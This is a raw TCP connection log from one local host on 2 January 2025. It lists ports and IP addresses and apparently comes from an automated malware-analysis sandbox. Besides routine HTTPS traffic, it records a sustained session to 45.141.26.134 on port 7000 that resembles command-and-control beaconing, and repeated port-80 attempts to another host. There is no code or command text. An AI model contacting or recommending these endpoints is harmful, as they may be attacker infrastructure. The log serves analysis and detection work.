Jan 2, 2025 20:12:26.687076092 CET	56629	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.687076092 CET	56628	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.688056946 CET	56636	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.688088894 CET	443	56636	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:26.688287020 CET	56636	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.690565109 CET	56636	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.690574884 CET	443	56636	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:26.692194939 CET	56628	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.692204952 CET	443	56628	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:26.692866087 CET	56637	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.692905903 CET	443	56637	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:26.693248987 CET	56637	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.695919037 CET	56637	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:26.695935011 CET	443	56637	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:26.704077005 CET	56639	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:26.704124928 CET	443	56639	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:26.704288006 CET	56639	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:26.704822063 CET	56639	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:26.704834938 CET	443	56639	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:26.707485914 CET	56640	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:26.707504988 CET	443	56640	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:26.707906961 CET	56640	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:26.708434105 CET	56640	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:26.708446026 CET	443	56640	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.361690998 CET	443	56636	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:27.361747980 CET	56636	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:27.362636089 CET	56636	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:27.362646103 CET	443	56636	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:27.364908934 CET	56636	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:27.364916086 CET	443	56636	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:27.373709917 CET	443	56640	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.373779058 CET	56640	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.378042936 CET	56640	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.378066063 CET	443	56640	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.378310919 CET	443	56640	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.378372908 CET	56640	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.379157066 CET	56640	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.384126902 CET	443	56639	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.384190083 CET	56639	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.384213924 CET	443	56637	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:27.384263992 CET	56637	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:27.384984970 CET	56637	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:27.384995937 CET	443	56637	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:27.385751963 CET	56637	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:27.385759115 CET	443	56637	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:27.386578083 CET	56639	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.386596918 CET	443	56639	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.386881113 CET	443	56639	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.386936903 CET	56639	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.387269020 CET	56639	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.419325113 CET	443	56640	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.427333117 CET	443	56639	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.752847910 CET	443	56636	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:27.752902031 CET	56636	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:27.753135920 CET	56636	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:27.753176928 CET	443	56636	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:27.753254890 CET	56636	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:27.754441023 CET	56647	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:27.754483938 CET	443	56647	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:27.754544020 CET	56647	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:27.754945993 CET	56647	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:27.754962921 CET	443	56647	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:27.768580914 CET	443	56637	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:27.768639088 CET	56637	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:27.768671989 CET	443	56637	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:27.768707991 CET	56637	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:27.768765926 CET	56637	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:27.769233942 CET	443	56637	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:27.769284964 CET	56637	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:27.769601107 CET	56648	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:27.769648075 CET	443	56648	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:27.769705057 CET	56648	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:27.769938946 CET	56648	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:27.769952059 CET	443	56648	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:27.788799047 CET	443	56640	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.788847923 CET	443	56640	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.788852930 CET	56640	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.788871050 CET	443	56640	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.788887978 CET	56640	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.788913965 CET	56640	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.788919926 CET	443	56640	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.788975954 CET	56640	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.789014101 CET	443	56640	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.789058924 CET	56640	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.789067984 CET	443	56640	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.789108038 CET	56640	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.790252924 CET	56640	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.790271997 CET	443	56640	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.790287018 CET	56640	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.790319920 CET	56640	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.790815115 CET	56649	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.790855885 CET	443	56649	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.790908098 CET	56649	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.791562080 CET	56649	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.791573048 CET	443	56649	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.961311102 CET	443	56639	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.961358070 CET	443	56639	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.961363077 CET	56639	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.961384058 CET	443	56639	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.961410999 CET	56639	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.961446047 CET	56639	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.961453915 CET	443	56639	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.961488962 CET	56639	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.961966038 CET	443	56639	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.962022066 CET	443	56639	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.962047100 CET	56639	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.962074995 CET	56639	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.962749004 CET	56639	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.962765932 CET	443	56639	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.963475943 CET	56650	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.963516951 CET	443	56650	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:27.963582993 CET	56650	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.964015007 CET	56650	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:27.964030981 CET	443	56650	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:28.387784958 CET	443	56647	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.388058901 CET	56647	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.388549089 CET	443	56647	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.388659954 CET	56647	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.391979933 CET	56647	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.391989946 CET	443	56647	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.392277956 CET	443	56647	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.396111965 CET	56647	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.399986029 CET	56647	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.416078091 CET	443	56648	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.416943073 CET	443	56648	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.417145014 CET	56648	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.417174101 CET	443	56648	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.420115948 CET	56648	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.423986912 CET	56648	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.423995018 CET	443	56648	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.424302101 CET	443	56648	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.428128004 CET	56648	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.431982040 CET	56648	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.447329044 CET	443	56647	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.458022118 CET	443	56649	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:28.458142996 CET	56649	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:28.458589077 CET	56649	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:28.458589077 CET	56649	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:28.458596945 CET	443	56649	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:28.458610058 CET	443	56649	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:28.475337029 CET	443	56648	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.594491005 CET	443	56650	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:28.594651937 CET	56650	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:28.595289946 CET	56650	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:28.595295906 CET	443	56650	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:28.595634937 CET	56650	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:28.595640898 CET	443	56650	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:28.767683029 CET	443	56647	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.767781973 CET	56647	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.768781900 CET	443	56647	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.768837929 CET	443	56647	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.768908978 CET	56647	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.770347118 CET	56647	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.770365000 CET	443	56647	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.770389080 CET	56647	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.770435095 CET	56647	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.771430016 CET	56656	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.771469116 CET	443	56656	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.771601915 CET	56656	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.771840096 CET	56656	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.771852970 CET	443	56656	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.794245005 CET	443	56648	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.794315100 CET	56648	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.794346094 CET	443	56648	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.794461012 CET	56648	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.794605017 CET	56648	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.794648886 CET	443	56648	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.794800043 CET	443	56648	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.794868946 CET	56648	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.794868946 CET	56648	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.795209885 CET	56658	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.795242071 CET	443	56658	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.795706034 CET	56658	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.795969963 CET	56658	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:28.795989990 CET	443	56658	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:28.881814003 CET	443	56649	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:28.881870031 CET	443	56649	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:28.881997108 CET	56649	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:28.882021904 CET	443	56649	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:28.882267952 CET	56649	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:28.882375002 CET	443	56649	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:28.882436037 CET	443	56649	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:28.882478952 CET	56649	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:28.882610083 CET	56649	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:28.883725882 CET	56660	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:28.883728981 CET	56649	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:28.883740902 CET	443	56649	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:28.883769035 CET	443	56660	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:28.883972883 CET	56660	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:28.884594917 CET	56660	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:28.884609938 CET	443	56660	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:29.029808044 CET	443	56650	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:29.029866934 CET	443	56650	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:29.029894114 CET	56650	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:29.029908895 CET	443	56650	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:29.029982090 CET	443	56650	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:29.030044079 CET	56650	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:29.030044079 CET	56650	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:29.428299904 CET	443	56656	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:29.428379059 CET	56656	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:29.429056883 CET	443	56656	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:29.429111004 CET	56656	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:29.483140945 CET	443	56658	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:29.483212948 CET	56658	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:29.483946085 CET	443	56658	142.250.74.206	192.168.2.7
Jan 2, 2025 20:12:29.484014034 CET	56658	443	192.168.2.7	142.250.74.206
Jan 2, 2025 20:12:29.548119068 CET	443	56660	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:29.548182011 CET	56660	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:30.658566952 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:12:30.663465977 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:31.003277063 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:31.038289070 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:12:31.043174982 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:33.036020041 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:12:33.040865898 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:33.398464918 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:33.401113987 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:12:33.405919075 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:33.455328941 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:12:33.460119963 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:33.471235037 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:12:33.476037979 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:33.645951033 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:12:33.650832891 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:34.044450998 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:34.046611071 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:12:34.051446915 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:34.345726967 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:34.393881083 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:12:34.741339922 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:12:34.746192932 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:34.808115959 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:12:34.812920094 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:42.242944002 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:42.283179045 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:12:44.694041014 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:12:44.698853970 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:45.087973118 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:45.092117071 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:12:45.096925020 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:48.598006010 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:12:48.602857113 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:49.055706978 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:49.062009096 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:12:49.066896915 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:59.859095097 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:12:59.864295959 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:12:59.945715904 CET	56660	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:59.945755959 CET	443	56660	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:59.950494051 CET	56660	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:12:59.950504065 CET	443	56660	142.250.185.193	192.168.2.7
Jan 2, 2025 20:12:59.950738907 CET	49720	80	192.168.2.7	69.42.215.252
Jan 2, 2025 20:13:00.289742947 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:00.326728106 CET	443	56660	142.250.185.193	192.168.2.7
Jan 2, 2025 20:13:00.326761007 CET	443	56660	142.250.185.193	192.168.2.7
Jan 2, 2025 20:13:00.326772928 CET	56660	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:13:00.326796055 CET	443	56660	142.250.185.193	192.168.2.7
Jan 2, 2025 20:13:00.326807976 CET	56660	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:13:00.326831102 CET	56660	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:13:00.326839924 CET	443	56660	142.250.185.193	192.168.2.7
Jan 2, 2025 20:13:00.326867104 CET	443	56660	142.250.185.193	192.168.2.7
Jan 2, 2025 20:13:00.326874018 CET	56660	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:13:00.326903105 CET	56660	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:13:00.330064058 CET	49720	80	192.168.2.7	69.42.215.252
Jan 2, 2025 20:13:00.392605066 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:00.473014116 CET	56650	443	192.168.2.7	142.250.185.193
Jan 2, 2025 20:13:00.473053932 CET	443	56650	142.250.185.193	192.168.2.7
Jan 2, 2025 20:13:00.548341036 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:00.553291082 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:01.111332893 CET	49720	80	192.168.2.7	69.42.215.252
Jan 2, 2025 20:13:02.423832893 CET	49720	80	192.168.2.7	69.42.215.252
Jan 2, 2025 20:13:03.768099070 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:03.773075104 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:03.799485922 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:03.804342985 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:03.878967047 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:03.883974075 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:03.939905882 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:03.944885015 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:04.018665075 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:04.023637056 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:04.113728046 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:04.117542028 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:04.122396946 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:04.161477089 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:04.166328907 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:04.299124956 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:04.304132938 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:04.314878941 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:04.319869995 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:04.365467072 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:04.367594957 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:04.416769028 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:04.616177082 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:04.617818117 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:04.622613907 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:04.622734070 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:04.627476931 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:04.752424955 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:04.757422924 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:04.867661953 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:04.869779110 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:04.874707937 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:04.923844099 CET	49720	80	192.168.2.7	69.42.215.252
Jan 2, 2025 20:13:05.117588997 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:05.119999886 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:05.124888897 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:05.127576113 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:05.132402897 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:05.368221998 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:05.371999025 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:05.376928091 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:07.596065998 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:07.600956917 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:07.949518919 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:07.951330900 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:07.956191063 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:09.814503908 CET	49720	80	192.168.2.7	69.42.215.252
Jan 2, 2025 20:13:12.243256092 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:12.283256054 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:15.847980976 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:15.854742050 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:15.924194098 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:15.931032896 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:15.958466053 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:15.965337992 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:16.050118923 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:16.057084084 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:16.191740036 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:16.193694115 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:16.198508978 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:16.443977118 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:16.445730925 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:16.450558901 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:16.694653034 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:16.702119112 CET	49740	7000	192.168.2.7	45.141.26.134
Jan 2, 2025 20:13:16.707115889 CET	7000	49740	45.141.26.134	192.168.2.7
Jan 2, 2025 20:13:16.707242012 CET	49740	7000	192.168.2.7	45.141.26.134
